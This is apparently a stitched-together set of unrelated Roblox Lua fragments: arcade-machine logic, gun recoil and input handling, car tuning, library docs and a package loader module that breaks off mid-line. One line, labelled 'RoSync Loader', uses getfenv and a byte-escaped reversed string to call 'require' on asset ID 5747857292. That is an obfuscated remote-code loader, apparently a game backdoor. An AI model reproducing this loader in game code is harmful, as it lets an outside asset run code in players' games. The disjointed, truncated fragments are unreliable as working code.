arm.HingeConstraint.TargetAngle = 0 wait(0.5) for _,a in pairs(machine.Lights3:GetChildren()) do a.Material = Enum.Material.Neon end button.Click:Play() button.Material = Enum.Material.Neon machine.Timer.Value.Value = 20 machine.Timer.Disabled = false index = 0 repeat index = index + 1 if index == 35 then index = 1 end lights[tostring(index)].Material = Enum.Material.Neon wait(wheelSpeed) if button.Material == Enum.Material.Neon then lights[tostring(index)].Material = Enum.Material.SmoothPlastic end until button.Material == Enum.Material.SmoothPlastic end end function clickButton(plr) if button.Material == Enum.Material.Neon and (plr == 1 or plr.Name == machine.CardReader.GameInfo.Player.Value) then button.Click:Stop() machine.Timer.Disabled = true machine.Timer.Value.Value = 0 button.Material = Enum.Material.SmoothPlastic for _,a in pairs(machine.Lights3:GetChildren()) do a.Material = Enum.Material.SmoothPlastic end if lzone[index] == 6 then local r = math.random(1, jpChance) if r ~= 1 then lights[tostring(index)].Material = Enum.Material.SmoothPlastic index = index + 1 end end ticketOut(values[lzone[index]]) if lzone[index] == 6 then button.Bell:Play() button.JPMusic.TimePosition = 0.5 button.JPMusic:Play() for i = 1, 12 do lights[tostring(index)].Material = Enum.Material.Neon wait(.5) for _,a in pairs(lights:GetChildren()) do a.Material = Enum.Material.Neon end for _,a in pairs(lights2:GetChildren()) do a.Material = Enum.Material.SmoothPlastic end wait(.5) for _,a in pairs(lights:GetChildren()) do a.Material = Enum.Material.SmoothPlastic end for _,a in pairs(lights2:GetChildren()) do a.Material = Enum.Material.Neon end end for _,a in pairs(lights2:GetChildren()) do a.Material = Enum.Material.SmoothPlastic end button.JPMusic:Stop() else button.Win:Play() for i = 1, 8 do lights[tostring(index)].Material = Enum.Material.Neon wait(0.5) lights[tostring(index)].Material = Enum.Material.SmoothPlastic wait(0.5) end end active = false machine.Credits.Value = machine.Credits.Value - 1 end end machine.Timer.Changed:connect(function() if machine.Timer.Value.Value == 0 and not machine.Timer.Disabled then if isSpinning then clickButton(1) else clickArm(1) end end end) arm.ClickDetector.MouseClick:connect(clickArm) button.ClickDetector.MouseClick:connect(clickButton) machine.Credits.Changed:connect(start) function ticketOut(tix) machine.CardReader.GameInfo.TicketsWon.Value = machine.CardReader.GameInfo.TicketsWon.Value + tix end
-------------------------------------------
local weld2 = Instance.new("Weld") weld2.Part0 = torso weld2.Parent = torso weld2.Part1 = arms[2] weld2.C1 = CFrame.new(0.5,1,0.6) * CFrame.fromEulerAnglesXYZ(math.rad(90),0.1,0.1) arms[2].Name = "RDave" arms[2].CanCollide = true welds[2] = weld2
--[=[ @within Gamepad @prop Disconnected Signal @readonly Fires when the gamepad is disconnected. This will _not_ fire if the active gamepad is switched. To detect switching to different active gamepads, use the `GamepadChanged` signal. There is also a `gamepad:IsConnected()` method. ```lua gamepad.Disconnected:Connect(function() print("Disconnected") end) ``` ]=]
-- Tags --
local pantsId = script.Parent.Parent.Pants.PantsTemplate local shirtId = script.Parent.Parent.Shirt.ShirtTemplate local cPart = script.Parent local cDetector = script.Parent.ClickDetector
---------------------------------------------------------------------------------------------------- -----------------=[ RECOIL & PRECISAO ]=------------------------------------------------------------ ----------------------------------------------------------------------------------------------------
,VRecoil = {9,13} --- Vertical Recoil ,HRecoil = {5,7} --- Horizontal Recoil ,AimRecover = .7 ---- Between 0 & 1 ,RecoilPunch = .15 ,VPunchBase = 2.55 --- Vertical Punch ,HPunchBase = 1.75 --- Horizontal Punch ,DPunchBase = 1 --- Tilt Punch | useless ,AimRecoilReduction = 2 --- Recoil Reduction Factor While Aiming (Do not set to 0) ,PunchRecover = 0.2 ,MinRecoilPower = .3 ,MaxRecoilPower = 3 ,RecoilPowerStepAmount = .25 ,MinSpread = 0.56 --- Min bullet spread value | Studs ,MaxSpread = 36 --- Max bullet spread value | Studs ,AimInaccuracyStepAmount = 0.5 ,WalkMultiplier = 0 --- Bullet spread based on player speed ,SwayBase = 0.25 --- Weapon Base Sway | Studs ,MaxSway = 1.5 --- Max sway value based on player stamina | Studs
-- you don't have to change these if you chose auto setup -- put these to true if you have these plugins in your car, otherwise leave them as false
smoke = false backfire = true horn = true brakewhistle = false ignition = false audioname = "Start" -- the name of your startup audio (defaults as "Start") (only works with ignition on)
-- This will inject all types into this context.
local TypeDefs = require(script.TypeDefinitions) type CanPierceFunction = TypeDefs.CanPierceFunction type GenericTable = TypeDefs.GenericTable type Caster = TypeDefs.Caster type FastCastBehavior = TypeDefs.FastCastBehavior type CastTrajectory = TypeDefs.CastTrajectory type CastStateInfo = TypeDefs.CastStateInfo type CastRayInfo = TypeDefs.CastRayInfo type ActiveCast = TypeDefs.ActiveCast
-- коллекция мишеней
local targets = game.Workspace.Targets
-- Events
local Events = ReplicatedStorage.Events local NewPlayer = Events.NewPlayer
-- ROBLOX deviation START: package not available using local implementation -- local util = require(Packages.util)
local format = require(script.Parent.format)
--[=[ @function last @within Array @param array {T} -- The array to get the last element of. @return T -- The last element of the array. Gets the last element of the array. ```lua local array = { 1, 2, 3 } local value = Last(array) -- 3 ``` ]=]
local function last<T>(array: { T }): T return At(array, 0) end return last
--[[Transmission]]
Tune.TransModes = {"Auto", "Semi", "Manual"} --[[ [Modes] "Auto" : Automatic shifting "Semi" : Clutchless manual shifting, dual clutch transmission "Manual" : Manual shifting with clutch >Include within brackets eg: {"Semi"} or {"Auto", "Manual"} >First mode is default mode ]] --Automatic Settings Tune.AutoShiftMode = "Speed" --[[ [Modes] "Speed" : Shifts based on wheel speed "RPM" : Shifts based on RPM ]] Tune.AutoUpThresh = -200 --Automatic upshift point (relative to peak RPM, positive = Over-rev) Tune.AutoDownThresh = 1400 --Automatic downshift point (relative to peak RPM, positive = Under-rev) --Gear Ratios Tune.FinalDrive = 4.06 -- Gearing determines top speed and wheel torque Tune.Ratios = { -- Higher ratio = more torque, Lower ratio = higher top speed --[[Reverse]] 3.70 , -- Copy and paste a ratio to add a gear --[[Neutral]] 0 , -- Ratios can also be deleted --[[ 1 ]] 12.53 , -- Reverse, Neutral, and 1st gear are required --[[ 2 ]] 8.04 , --[[ 3 ]] 1.38 , --[[ 4 ]] 1.03 , --[[ 5 ]] 0.81 , --[[ 6 ]] 0.64 , --[[ 7 ]] 0.61 , } Tune.FDMult = 1.5 -- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)
--This script uses the Touched event on the parent part to detect when another object collides with it. --When that happens, it looks for a Humanoid object in the parent of the colliding object. --If it finds one, it calls the TakeDamage method on the Humanoid object, passing in the value of its MaxHealth property to kill the player.
-- Ring4 ascending
for l = 1,#lifts4 do if (lifts4[l].className == "Part") then lifts4[l].BodyPosition.position = Vector3.new((lifts4[l].BodyPosition.position.x),(lifts4[l].BodyPosition.position.y+6),(lifts4[l].BodyPosition.position.z)) end end wait(0.1) for p = 1,#parts4 do parts4[p].CanCollide = true end wait(0.5)
--[[ Last synced 10/14/2020 09:41 || RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)
-- EDIT THE TEXTS.
Content.Content1.Content.Text = "Content" -- EDIT THE STUFF IN THE QUOTATION MARKS ON YOUR NEW Content. Content.Content2.Content.Text = "Content" Content.Content3.Content.Text = "Content" Content.Content4.Content.Text = "Content" Content.Content5.Content.Text = "Content" Content.Content6.Content.Text = "Content" Content.Content7.Content.Text = "Content" Content.Content8.Content.Text = "Content" Content.Content9.Content.Text = "Content" Content.Content10.Content.Text = "Content"
--------------------) Settings
Damage = 0 -- the ammout of health the player or mob will take Cooldown = 10 -- cooldown for use of the tool again ZoneModelName = "Killer void" -- name the zone model MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage
--// Input Connections
L_107_.InputBegan:connect(function(L_314_arg1, L_315_arg2) if not L_315_arg2 and L_15_ then if L_314_arg1.UserInputType == (Enum.UserInputType.MouseButton2 or L_314_arg1.KeyCode == Enum.KeyCode.ButtonL2) and not L_79_ and not L_78_ and not L_77_ and L_24_.CanAim and not L_74_ and L_15_ and not L_66_ and not L_67_ then if not L_64_ then if not L_65_ then if L_24_.TacticalModeEnabled then L_154_ = 0.015 L_155_ = 7 L_3_:WaitForChild("Humanoid").WalkSpeed = 7 else L_155_ = 10 L_154_ = 0.008 L_3_:WaitForChild("Humanoid").WalkSpeed = 10 end end if (L_3_.Head.Position - L_5_.CoordinateFrame.p).magnitude <= 2 then L_97_ = L_50_ end L_133_.target = L_56_.CFrame:toObjectSpace(L_44_.CFrame).p L_115_:FireServer(true) L_64_ = true end end; if L_314_arg1.KeyCode == Enum.KeyCode.A and L_15_ then L_134_ = CFrame.Angles(0, 0, 0.1) end; if L_314_arg1.KeyCode == Enum.KeyCode.D and L_15_ then L_134_ = CFrame.Angles(0, 0, -0.1) end; if L_314_arg1.KeyCode == Enum.KeyCode.E and L_15_ and not L_80_ and not L_81_ then L_80_ = true L_82_ = false L_81_ = true LeanRight() end if L_314_arg1.KeyCode == Enum.KeyCode.Q and L_15_ and not L_80_ and not L_82_ then L_80_ = true L_81_ = false L_82_ = true LeanLeft() end if L_314_arg1.KeyCode == L_24_.AlternateAimKey and not L_79_ and not L_78_ and not L_77_ and L_24_.CanAim and not L_74_ and L_15_ and not L_66_ and not L_67_ then if not L_64_ then if not L_65_ then L_3_.Humanoid.WalkSpeed = 10 L_155_ = 10 L_154_ = 0.008 end L_97_ = L_50_ L_133_.target = L_56_.CFrame:toObjectSpace(L_44_.CFrame).p L_115_:FireServer(true) L_64_ = true end end; if L_314_arg1.UserInputType == (Enum.UserInputType.MouseButton1 or L_314_arg1.KeyCode == Enum.KeyCode.ButtonR2) and not L_79_ and not L_77_ and L_69_ and L_15_ and not L_66_ and not L_67_ and not L_74_ then L_68_ = true if not Shooting and L_15_ and not L_83_ then if L_103_ > 0 then Shoot() end elseif not Shooting and L_15_ and L_83_ then if L_105_ > 0 then Shoot() end end end; if L_314_arg1.KeyCode == (L_24_.LaserKey or L_314_arg1.KeyCode == Enum.KeyCode.DPadRight) and L_15_ and L_24_.LaserAttached then local L_316_ = L_1_:FindFirstChild("LaserLight") L_122_.KeyDown[1].Plugin() end; if L_314_arg1.KeyCode == (L_24_.LightKey or L_314_arg1.KeyCode == Enum.KeyCode.ButtonR3) and L_15_ and L_24_.LightAttached then local L_317_ = L_1_:FindFirstChild("FlashLight"):FindFirstChild('Light') local L_318_ = false L_317_.Enabled = not L_317_.Enabled end; if L_15_ and L_314_arg1.KeyCode == (L_24_.FireSelectKey or L_314_arg1.KeyCode == Enum.KeyCode.DPadUp) and not L_79_ and not L_70_ and not L_78_ then L_70_ = true if L_92_ == 1 then if Shooting then Shooting = false end if L_24_.AutoEnabled then L_92_ = 2 L_83_ = false L_69_ = L_84_ elseif not L_24_.AutoEnabled and L_24_.BurstEnabled then L_92_ = 3 L_83_ = false L_69_ = L_84_ elseif not L_24_.AutoEnabled and not L_24_.BurstEnabled and L_24_.BoltAction then L_92_ = 4 L_83_ = false L_69_ = L_84_ elseif not L_24_.AutoEnabled and not L_24_.BurstEnabled and not L_24_.BoltAction and L_24_.ExplosiveEnabled then L_92_ = 6 L_83_ = true L_84_ = L_69_ L_69_ = L_85_ elseif not L_24_.AutoEnabled and not L_24_.BurstEnabled and not L_24_.BoltAction and not L_24_.ExplosiveEnabled then L_92_ = 1 L_83_ = false L_69_ = L_84_ end elseif L_92_ == 2 then if Shooting then Shooting = false end if L_24_.BurstEnabled then L_92_ = 3 L_83_ = false L_69_ = L_84_ elseif not L_24_.BurstEnabled and L_24_.BoltAction then L_92_ = 4 L_83_ = false L_69_ = L_84_ elseif not L_24_.BurstEnabled and not L_24_.BoltAction and L_24_.ExplosiveEnabled then L_92_ = 6 L_83_ = true L_84_ = L_69_ L_69_ = L_85_ elseif not L_24_.BurstEnabled and not L_24_.BoltAction and not L_24_.ExplosiveEnabled and L_24_.SemiEnabled then L_92_ = 1 L_83_ = false L_69_ = L_84_ elseif not L_24_.BurstEnabled and not L_24_.BoltAction and not L_24_.SemiEnabled then L_92_ = 2 L_83_ = false L_69_ = L_84_ end elseif L_92_ == 3 then if Shooting then Shooting = false end if L_24_.BoltAction then L_92_ = 4 L_83_ = false L_69_ = L_84_ elseif not L_24_.BoltAction and L_24_.ExplosiveEnabled then L_92_ = 6 L_83_ = true L_84_ = L_69_ L_69_ = L_85_ elseif not L_24_.BoltAction and not L_24_.ExplosiveEnabled and L_24_.SemiEnabled then L_92_ = 1 L_83_ = false L_69_ = L_84_ elseif not L_24_.BoltAction and not L_24_.SemiEnabled and L_24_.AutoEnabled then L_92_ = 2 L_83_ = false L_69_ = L_84_ elseif not L_24_.BoltAction and not L_24_.SemiEnabled and not L_24_.AutoEnabled then L_92_ = 3 L_83_ = false L_69_ = L_84_ end elseif L_92_ == 4 then if Shooting then Shooting = false end if L_24_.ExplosiveEnabled then L_92_ = 6 L_83_ = true L_84_ = L_69_ L_69_ = L_85_ elseif not L_24_.ExplosiveEnabled and L_24_.SemiEnabled then L_92_ = 1 L_83_ = false L_69_ = L_84_ elseif not L_24_.SemiEnabled and L_24_.AutoEnabled then L_92_ = 2 L_83_ = false L_69_ = L_84_ elseif not L_24_.SemiEnabled and not L_24_.AutoEnabled and L_24_.BurstEnabled then L_92_ = 3 L_83_ = false L_69_ = L_84_ elseif not L_24_.SemiEnabled and not L_24_.AutoEnabled and not L_24_.BurstEnabled then L_92_ = 4 L_83_ = false L_69_ = L_84_ end elseif L_92_ == 6 then if Shooting then Shooting = false end L_85_ = L_69_ if L_24_.SemiEnabled then L_92_ = 1 L_83_ = false L_69_ = L_84_ elseif not L_24_.SemiEnabled and L_24_.AutoEnabled then L_92_ = 2 L_83_ = false L_69_ = L_84_ elseif not L_24_.SemiEnabled and not L_24_.AutoEnabled and L_24_.BurstEnabled then L_92_ = 3 L_83_ = false L_69_ = L_84_ elseif not L_24_.SemiEnabled and not L_24_.AutoEnabled and not L_24_.BurstEnabled and L_24_.BoltAction then L_92_ = 4 L_83_ = false L_69_ = L_84_ elseif not L_24_.SemiEnabled and not L_24_.AutoEnabled and not L_24_.BurstEnabled and not L_24_.BoltAction then L_92_ = 6 L_83_ = true L_84_ = L_69_ L_69_ = L_85_ end end UpdateAmmo() FireModeAnim() IdleAnim() L_70_ = false end; if L_314_arg1.KeyCode == (Enum.KeyCode.F or L_314_arg1.KeyCode == Enum.KeyCode.DPadDown) and not L_79_ and not L_77_ and not L_78_ and not L_67_ and not L_70_ and not L_64_ and not L_66_ and not Shooting and not L_76_ then if not L_73_ and not L_74_ then L_74_ = true Shooting = false L_69_ = false L_135_ = time() delay(0.6, function() if L_103_ ~= L_24_.Ammo and L_103_ > 0 then CreateShell() end end) BoltBackAnim() L_73_ = true elseif L_73_ and L_74_ then BoltForwardAnim() Shooting = false L_69_ = true if L_103_ ~= L_24_.Ammo and L_103_ > 0 then L_103_ = L_103_ - 1 elseif L_103_ >= L_24_.Ammo then L_69_ = true end L_73_ = false L_74_ = false IdleAnim() L_75_ = false end UpdateAmmo() end; if L_314_arg1.KeyCode == (Enum.KeyCode.LeftShift or L_314_arg1.KeyCode == Enum.KeyCode.ButtonL3) and not L_78_ and not L_77_ and L_146_ then L_71_ = true if L_15_ and not L_70_ and not L_67_ and L_71_ and not L_65_ and not L_74_ then Shooting = false L_64_ = false L_67_ = true delay(0, function() if L_67_ and not L_66_ then L_64_ = false L_72_ = true end end) L_97_ = 80 if L_24_.TacticalModeEnabled then L_154_ = 0.4 L_155_ = 16 else L_155_ = L_24_.SprintSpeed L_154_ = 0.4 end L_3_.Humanoid.WalkSpeed = L_24_.SprintSpeed end end; if L_314_arg1.KeyCode == (Enum.KeyCode.R or L_314_arg1.KeyCode == Enum.KeyCode.ButtonX) and not L_79_ and not L_78_ and not L_77_ and L_15_ and not L_66_ and not L_64_ and not Shooting and not L_67_ and not L_74_ then if not L_83_ then if L_104_ > 0 and L_103_ < L_24_.Ammo then Shooting = false L_66_ = true for L_319_forvar1, L_320_forvar2 in pairs(game.Players:GetChildren()) do if L_320_forvar2 and L_320_forvar2:IsA('Player') and L_320_forvar2 ~= L_2_ and L_320_forvar2.TeamColor == L_2_.TeamColor then if (L_320_forvar2.Character.HumanoidRootPart.Position - L_3_.HumanoidRootPart.Position).magnitude <= 150 then if L_7_:FindFirstChild('AHH') and not L_7_.AHH.IsPlaying then L_119_:FireServer(L_7_.AHH, L_100_[math.random(0, 23)]) end end end end BoltBackAnim() ReloadAnim() BoltForwardAnim() IdleAnim() L_69_ = true if L_103_ <= 0 then if (L_104_ - (L_24_.Ammo - L_103_)) < 0 then L_103_ = L_103_ + L_104_ L_104_ = 0 else L_104_ = L_104_ - (L_24_.Ammo - L_103_) L_103_ = L_24_.Ammo end elseif L_103_ > 0 then if (L_104_ - (L_24_.Ammo - L_103_)) < 0 then L_103_ = L_103_ + L_104_ + 0 L_104_ = 0 else L_104_ = L_104_ - (L_24_.Ammo - L_103_) L_103_ = L_24_.Ammo + 0 end end L_66_ = false if not L_75_ then L_69_ = true end end; elseif L_83_ then if L_105_ > 0 then Shooting = false L_66_ = true nadeReload() IdleAnim() L_66_ = false L_69_ = true end end; UpdateAmmo() end; if L_314_arg1.KeyCode == Enum.KeyCode.RightBracket and L_64_ then if (L_51_ < 1) then L_51_ = L_51_ + L_24_.SensitivityIncrement end end if L_314_arg1.KeyCode == Enum.KeyCode.LeftBracket and L_64_ then if (L_51_ > 0.1) then L_51_ = L_51_ - L_24_.SensitivityIncrement end end if L_314_arg1.KeyCode == (Enum.KeyCode.T or L_314_arg1.KeyCode == Enum.KeyCode.DPadLeft) and L_1_:FindFirstChild("AimPart2") then if not L_86_ then L_56_ = L_1_:WaitForChild("AimPart2") L_50_ = L_24_.CycleAimZoom if L_64_ then L_97_ = L_24_.CycleAimZoom end L_86_ = true else L_56_ = L_1_:FindFirstChild("AimPart") L_50_ = L_24_.AimZoom if L_64_ then L_97_ = L_24_.AimZoom end L_86_ = false end; end; if L_314_arg1.KeyCode == L_24_.InspectionKey and not L_79_ and not L_78_ then if not L_77_ then L_77_ = true InspectAnim() IdleAnim() L_77_ = false end end; if L_314_arg1.KeyCode == L_24_.AttachmentKey and not L_79_ and not L_77_ then if L_15_ then if not L_78_ then L_67_ = false L_64_ = false L_69_ = false L_78_ = true AttachAnim() elseif L_78_ then L_67_ = false L_64_ = false L_69_ = true L_78_ = false IdleAnim() end end end; if L_314_arg1.KeyCode == Enum.KeyCode.P and not L_77_ and not L_78_ and not L_64_ and not L_67_ and not L_65_ and not L_66_ and not Recoiling and not L_67_ then if not L_79_ then L_79_ = true L_14_:Create(L_45_, TweenInfo.new(0.2), { C1 = L_24_.SprintPos }):Play() wait(0.2) L_112_:FireServer("Patrol", L_24_.SprintPos) else L_79_ = false L_14_:Create(L_45_, TweenInfo.new(0.2), { C1 = CFrame.new() }):Play() wait(0.2) L_112_:FireServer("Unpatrol") end end; end end) L_107_.InputEnded:connect(function(L_321_arg1, L_322_arg2) if not L_322_arg2 and L_15_ then if L_321_arg1.UserInputType == (Enum.UserInputType.MouseButton2 or L_321_arg1.KeyCode == Enum.KeyCode.ButtonL2) and not L_77_ and L_24_.CanAim and not L_78_ then if L_64_ then if not L_65_ then L_3_:WaitForChild("Humanoid").WalkSpeed = 16 if L_24_.TacticalModeEnabled then L_154_ = 0.09 L_155_ = 11 else L_154_ = .2 L_155_ = 17 end end L_97_ = 70 L_133_.target = Vector3.new() L_115_:FireServer(false) L_64_ = false end end; if L_321_arg1.KeyCode == Enum.KeyCode.A and L_15_ then L_134_ = CFrame.Angles(0, 0, 0) end; if L_321_arg1.KeyCode == Enum.KeyCode.D and L_15_ then L_134_ = CFrame.Angles(0, 0, 0) end; if L_321_arg1.KeyCode == Enum.KeyCode.E and L_15_ and L_80_ then Unlean() L_80_ = false L_82_ = false L_81_ = false end if L_321_arg1.KeyCode == Enum.KeyCode.Q and L_15_ and L_80_ then Unlean() L_80_ = false L_82_ = false L_81_ = false end if L_321_arg1.KeyCode == L_24_.AlternateAimKey and not L_77_ and L_24_.CanAim then if L_64_ then if not L_65_ then L_3_.Humanoid.WalkSpeed = 16 L_155_ = 17 L_154_ = .25 end L_97_ = 70 L_133_.target = Vector3.new() L_115_:FireServer(false) L_64_ = false end end; if L_321_arg1.UserInputType == (Enum.UserInputType.MouseButton1 or L_321_arg1.KeyCode == Enum.KeyCode.ButtonR2) and not L_77_ then L_68_ = false if Shooting then Shooting = false end end; if L_321_arg1.KeyCode == Enum.KeyCode.E and L_15_ then local L_323_ = L_42_:WaitForChild('GameGui') if L_16_ then L_323_:WaitForChild('AmmoFrame').Visible = false L_16_ = false end end; if L_321_arg1.KeyCode == (Enum.KeyCode.LeftShift or L_321_arg1.KeyCode == Enum.KeyCode.ButtonL3) and not L_77_ and not L_70_ and not L_65_ then -- SPRINT L_71_ = false if L_67_ and not L_64_ and not Shooting and not L_71_ then L_67_ = false L_72_ = false L_97_ = 70 L_3_.Humanoid.WalkSpeed = 16 if L_24_.TacticalModeEnabled then L_154_ = 0.09 L_155_ = 11 else L_154_ = .2 L_155_ = 17 end end end; end end) L_107_.InputChanged:connect(function(L_324_arg1, L_325_arg2) if not L_325_arg2 and L_15_ and L_24_.FirstPersonOnly and L_64_ then if L_324_arg1.UserInputType == Enum.UserInputType.MouseWheel then if L_324_arg1.Position.Z == 1 and (L_51_ < 1) then L_51_ = L_51_ + L_24_.SensitivityIncrement elseif L_324_arg1.Position.Z == -1 and (L_51_ > 0.1) then L_51_ = L_51_ - L_24_.SensitivityIncrement end end end end) L_107_.InputChanged:connect(function(L_326_arg1, L_327_arg2) if not L_327_arg2 and L_15_ then local L_328_, L_329_ = workspace:FindPartOnRayWithIgnoreList(Ray.new(L_56_.CFrame.p, (L_56_.CFrame.lookVector).unit * 10000), IgnoreList); if L_328_ then local L_330_ = (L_329_ - L_6_.Position).magnitude L_33_.Text = math.ceil(L_330_) .. ' m' end end end)
-- /** -- * The data structure representing a diff is an array of tuples: -- * [[DIFF_DELETE, 'Hello'], [DIFF_INSERT, 'Goodbye'], [DIFF_EQUAL, ' world.']] -- * which means: delete 'Hello', add 'Goodbye' and keep ' world.' -- */
local DIFF_DELETE = -1 local DIFF_INSERT = 1 local DIFF_EQUAL = 0
--[[/Static functions]]
GunObject:Initialize() --[[ ]]
--ScanForPoint()
hum.MoveToFinished:connect(function() anims["Walk"]:Stop() if enRoute then enRoute = false end end) local movementCoroutine = coroutine.wrap(function() while true do if target then local sessionLock = lastLock if targetType == "Player" then while target and lastLock == sessionLock do if target.Character and target.Character:IsDescendantOf(workspace) and target.Character.Humanoid and target.Character.Humanoid.Health > 0 then local dist = (root.Position-target.Character.PrimaryPart.Position).magnitude if dist < 5 then
--// Recoil Settings
gunrecoil = -0.6; -- How much the gun recoils backwards when not aiming camrecoil = 4.10; -- How much the camera flicks when not aiming AimGunRecoil = -0.8; -- How much the gun recoils backwards when aiming AimCamRecoil = 2.55; -- How much the camera flicks when aiming CamShake = 1.2; -- THIS IS NEW!!!! CONTROLS CAMERA SHAKE WHEN FIRING AimCamShake = 1.2; -- THIS IS ALSO NEW!!!! Kickback = 1.8; -- Upward gun rotation when not aiming AimKickback = 1.7; -- Upward gun rotation when aiming
-------------------------
function onClicked() R.Function1.Disabled = true FX.ROLL.BrickColor = BrickColor.new("CGA brown") FX.ROLL.loop.Disabled = true FX.REVERB.BrickColor = BrickColor.new("CGA brown") FX.REVERB.loop.Disabled = true FX.GATE.BrickColor = BrickColor.new("CGA brown") FX.GATE.loop.Disabled = true FX.PHASER.BrickColor = BrickColor.new("CGA brown") FX.PHASER.loop.Disabled = true FX.SLIPROLL.BrickColor = BrickColor.new("CGA brown") FX.SLIPROLL.loop.Disabled = true FX.FILTER.BrickColor = BrickColor.new("CGA brown") FX.FILTER.loop.Disabled = true FX.SENDRETURN.BrickColor = BrickColor.new("Really red") FX.SENDRETURN.loop.Disabled = true FX.TRANS.BrickColor = BrickColor.new("CGA brown") FX.TRANS.loop.Disabled = true FX.MultiTapDelay.BrickColor = BrickColor.new("CGA brown") FX.MultiTapDelay.loop.Disabled = true FX.DELAY.BrickColor = BrickColor.new("CGA brown") FX.DELAY.loop.Disabled = true FX.REVROLL.BrickColor = BrickColor.new("CGA brown") FX.REVROLL.loop.Disabled = true R.loop.Disabled = false R.Function2.Disabled = false end script.Parent.ClickDetector.MouseClick:connect(onClicked)
--[=[ @private @class LoaderUtils ]=]
local loader = script.Parent local BounceTemplateUtils = require(script.Parent.BounceTemplateUtils) local GroupInfoUtils = require(script.Parent.GroupInfoUtils) local PackageInfoUtils = require(script.Parent.PackageInfoUtils) local ScriptInfoUtils = require(script.Parent.ScriptInfoUtils) local Utils = require(script.Parent.Utils) local LoaderUtils = {} LoaderUtils.Utils = Utils -- TODO: Remove this LoaderUtils.ContextTypes = Utils.readonly({ CLIENT = "client"; SERVER = "server"; }) LoaderUtils.IncludeBehavior = Utils.readonly({ NO_INCLUDE = "noInclude"; INCLUDE_ONLY = "includeOnly"; INCLUDE_SHARED = "includeShared"; }) function LoaderUtils.toWallyFormat(instance, isPlugin) assert(typeof(instance) == "Instance", "Bad instance") assert(type(isPlugin) == "boolean", "Bad isPlugin") local topLevelPackages = {} LoaderUtils.discoverTopLevelPackages(topLevelPackages, instance) LoaderUtils.injectLoader(topLevelPackages) local packageInfoList = {} local packageInfoMap = {} local defaultReplicationType = isPlugin and ScriptInfoUtils.ModuleReplicationTypes.PLUGIN or ScriptInfoUtils.ModuleReplicationTypes.SHARED for _, folder in pairs(topLevelPackages) do local packageInfo = PackageInfoUtils.getOrCreatePackageInfo(folder, packageInfoMap, "", defaultReplicationType) table.insert(packageInfoList, packageInfo) end PackageInfoUtils.fillDependencySet(packageInfoList) if isPlugin then local pluginGroup = GroupInfoUtils.groupPackageInfos(packageInfoList, ScriptInfoUtils.ModuleReplicationTypes.PLUGIN) local publishSet = LoaderUtils.getPublishPackageInfoSet(packageInfoList) local pluginFolder = Instance.new("Folder") pluginFolder.Name = "PluginPackages" LoaderUtils.reifyGroupList(pluginGroup, publishSet, pluginFolder, ScriptInfoUtils.ModuleReplicationTypes.PLUGIN) return pluginFolder else local clientGroupList = GroupInfoUtils.groupPackageInfos(packageInfoList, ScriptInfoUtils.ModuleReplicationTypes.CLIENT) local serverGroupList = GroupInfoUtils.groupPackageInfos(packageInfoList, ScriptInfoUtils.ModuleReplicationTypes.SERVER) local sharedGroupList = GroupInfoUtils.groupPackageInfos(packageInfoList, ScriptInfoUtils.ModuleReplicationTypes.SHARED) local publishSet = LoaderUtils.getPublishPackageInfoSet(packageInfoList) local clientFolder = Instance.new("Folder") clientFolder.Name = "Packages" local sharedFolder = Instance.new("Folder") sharedFolder.Name = "SharedPackages" local serverFolder = Instance.new("Folder") serverFolder.Name = "Packages" LoaderUtils.reifyGroupList(clientGroupList, publishSet, clientFolder, ScriptInfoUtils.ModuleReplicationTypes.CLIENT) LoaderUtils.reifyGroupList(serverGroupList, publishSet, serverFolder, ScriptInfoUtils.ModuleReplicationTypes.SERVER) LoaderUtils.reifyGroupList(sharedGroupList, publishSet, sharedFolder, ScriptInfoUtils.ModuleReplicationTypes.SHARED) return clientFolder, serverFolder, sharedFolder end end function LoaderUtils.isPackage(folder) assert(typeof(folder) == "Instance", "Bad instance") for _, item in pairs(folder:GetChildren()) do if item:IsA("Folder") then if item.Name == "Server" or item.Name == "Client" or item.Name == "Shared" or item.Name == ScriptInfoUtils.DEPENDENCY_FOLDER_NAME then return true end end end return false end function LoaderUtils.injectLoader(topLevelPackages) for _, item in pairs(topLevelPackages) do -- If we're underneath the hierachy or if we're in the actual item... if item == loader or loader:IsDescendantOf(item) then return end end -- We need the loader injected! table.insert(topLevelPackages, loader) end function LoaderUtils.discoverTopLevelPackages(packages, instance) assert(type(packages) == "table", "Bad packages") assert(typeof(instance) == "Instance", "Bad instance") if LoaderUtils.isPackage(instance) then table.insert(packages, instance) elseif instance:IsA("ObjectValue") then local linkedValue = instance.Value if linkedValue and LoaderUtils.isPackage(linkedValue) then table.insert(packages, linkedValue) end else -- Loop through all folders for _, item in pairs(instance:GetChildren()) do if item:IsA("Folder") then LoaderUtils.discoverTopLevelPackages(packages, item) elseif item:IsA("ObjectValue") then local linkedValue = item.Value if linkedValue and LoaderUtils.isPackage(linkedValue) then table.insert(packages, linkedValue) end elseif item:IsA("ModuleScript") then table.insert(packages, item) end end end end function LoaderUtils.reifyGroupList(groupInfoList, publishSet, parent, replicationMode) assert(type(groupInfoList) == "table", "Bad groupInfoList") assert(type(publishSet) == "table", "Bad publishSet") assert(typeof(parent) == "Instance", "Bad parent") assert(type(replicationMode) == "string", "Bad replicationMode") local folder = Instance.new("Folder") folder.Name = "_Index" for _, groupInfo in pairs(groupInfoList) do if LoaderUtils.needToReify(groupInfo, replicationMode) then LoaderUtils.reifyGroup(groupInfo, folder, replicationMode) end end -- Publish for packageInfo, _ in pairs(publishSet) do for scriptName, scriptInfo in pairs(packageInfo.scriptInfoLookup[replicationMode]) do local link = BounceTemplateUtils.create(scriptInfo.instance, scriptName) link.Parent = parent end end folder.Parent = parent end function LoaderUtils.getPublishPackageInfoSet(packageInfoList) local packageInfoSet = {} for _, packageInfo in pairs(packageInfoList) do packageInfoSet[packageInfo] = true -- First level declared dependencies too (assuming we're importing just one item) for dependentPackageInfo, _ in pairs(packageInfo.explicitDependencySet) do packageInfoSet[dependentPackageInfo] = true end end return packageInfoSet end function LoaderUtils.needToReify(groupInfo, replicationMode) for _, scriptInfo in pairs(groupInfo.packageScriptInfoMap) do if scriptInfo.replicationMode == replicationMode then return true end end return false end function LoaderUtils.reifyGroup(groupInfo, parent, replicationMode) assert(type(groupInfo) == "table", "Bad groupInfo") assert(typeof(parent) == "Instance", "Bad parent") assert(type(replicationMode) == "string", "Bad replicationMode") local folder = 